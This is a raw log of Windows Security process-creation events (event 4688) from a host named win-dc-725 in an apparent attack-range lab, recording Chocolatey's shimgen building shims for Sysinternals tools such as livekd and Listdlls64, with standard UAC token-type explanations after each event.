	Process Command Line:	"C:\ProgramData\chocolatey\tools\shimgen.exe" --path="..\\lib\sysinternals\tools\LoadOrd.exe" --output="C:\ProgramData\chocolatey\bin\LoadOrd.exe"  --iconpath="C:\ProgramData\chocolatey\lib\sysinternals\tools\LoadOrd.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:06 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246565
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xddc
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xe44
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Administrator\AppData\Local\Temp\chocolatey\RESD6B4.tmp" "c:\ProgramData\chocolatey\bin\CSCBE4F7D9DBE234F918C13C47E2BDECCB.TMP"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:06 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246564
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xf08
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xe44
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:06 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246563
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xe44
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xfc8
	Creator Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Process Command Line:	"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /checked+ /nowarn:1701,1702 /nostdlib+ /platform:AnyCPU /errorreport:prompt /main:shim.ShimProgram /errorendlocation /preferreduilang:en-US /highentropyva- /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Core.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.dll" /debug- /filealign:512 /optimize+ /out:"C:\ProgramData\chocolatey\bin\livekd64.exe" /target:exe /utf8output /win32icon:"C:\ProgramData\shimgen\generatedfiles\20210301_123412_6303\shim.ico" /win32manifest:"C:\ProgramData\shimgen\generatedfiles\20210301_123412_6303\app.manifest" "C:\ProgramData\shimgen\generatedfiles\20210301_123412_6303\CommandExecutor.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123412_6303\ShimProgram.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123412_6303\Assembly.cs"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:06 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246562
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xef4
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xfc8
	Creator Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:06 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246561
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xfc8
	New Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x830
	Creator Process Name:	C:\ProgramData\chocolatey\choco.exe
	Process Command Line:	"C:\ProgramData\chocolatey\tools\shimgen.exe" --path="..\\lib\sysinternals\tools\livekd64.exe" --output="C:\ProgramData\chocolatey\bin\livekd64.exe"  --iconpath="C:\ProgramData\chocolatey\lib\sysinternals\tools\livekd64.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:06 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246560
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xafc
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x370
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Administrator\AppData\Local\Temp\chocolatey\RESD5D9.tmp" "c:\ProgramData\chocolatey\bin\CSCA37286DC1739467B84A69729498D9BFC.TMP"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:06 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246559
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x82c
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x370
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:06 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246558
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x370
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xd34
	Creator Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Process Command Line:	"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /checked+ /nowarn:1701,1702 /nostdlib+ /platform:AnyCPU /errorreport:prompt /main:shim.ShimProgram /errorendlocation /preferreduilang:en-US /highentropyva- /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Core.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.dll" /debug- /filealign:512 /optimize+ /out:"C:\ProgramData\chocolatey\bin\livekd.exe" /target:exe /utf8output /win32icon:"C:\ProgramData\shimgen\generatedfiles\20210301_123412_4115\shim.ico" /win32manifest:"C:\ProgramData\shimgen\generatedfiles\20210301_123412_4115\app.manifest" "C:\ProgramData\shimgen\generatedfiles\20210301_123412_4115\CommandExecutor.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123412_4115\ShimProgram.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123412_4115\Assembly.cs"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:06 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246557
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xe48
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xd34
	Creator Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:06 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246556
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xd34
	New Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x830
	Creator Process Name:	C:\ProgramData\chocolatey\choco.exe
	Process Command Line:	"C:\ProgramData\chocolatey\tools\shimgen.exe" --path="..\\lib\sysinternals\tools\livekd.exe" --output="C:\ProgramData\chocolatey\bin\livekd.exe"  --iconpath="C:\ProgramData\chocolatey\lib\sysinternals\tools\livekd.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:06 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246555
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xecc
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xb30
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Administrator\AppData\Local\Temp\chocolatey\RESD4FE.tmp" "c:\ProgramData\chocolatey\bin\CSCDC692974183149D4A0F4B4FDB71C84B.TMP"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:06 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246554
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xf9c
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xb30
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:06 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246553
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xb30
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x318
	Creator Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Process Command Line:	"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /checked+ /nowarn:1701,1702 /nostdlib+ /platform:AnyCPU /errorreport:prompt /main:shim.ShimProgram /errorendlocation /preferreduilang:en-US /highentropyva- /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Core.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.dll" /debug- /filealign:512 /optimize+ /out:"C:\ProgramData\chocolatey\bin\Listdlls64.exe" /target:exe /utf8output /win32icon:"C:\ProgramData\shimgen\generatedfiles\20210301_123412_1928\shim.ico" /win32manifest:"C:\ProgramData\shimgen\generatedfiles\20210301_123412_1928\app.manifest" "C:\ProgramData\shimgen\generatedfiles\20210301_123412_1928\CommandExecutor.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123412_1928\ShimProgram.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123412_1928\Assembly.cs"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:06 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246552
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xdd4
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x318
	Creator Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:06 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246551
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x318
	New Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x830
	Creator Process Name:	C:\ProgramData\chocolatey\choco.exe
	Process Command Line:	"C:\ProgramData\chocolatey\tools\shimgen.exe" --path="..\\lib\sysinternals\tools\Listdlls64.exe" --output="C:\ProgramData\chocolatey\bin\Listdlls64.exe"  --iconpath="C:\ProgramData\chocolatey\lib\sysinternals\tools\Listdlls64.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:06 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246550
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x39c
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xd60
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Administrator\AppData\Local\Temp\chocolatey\RESD423.tmp" "c:\ProgramData\chocolatey\bin\CSCAF952016F44D4B88B3B7650677931FF.TMP"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:06 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246549
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xe70
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xd60
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

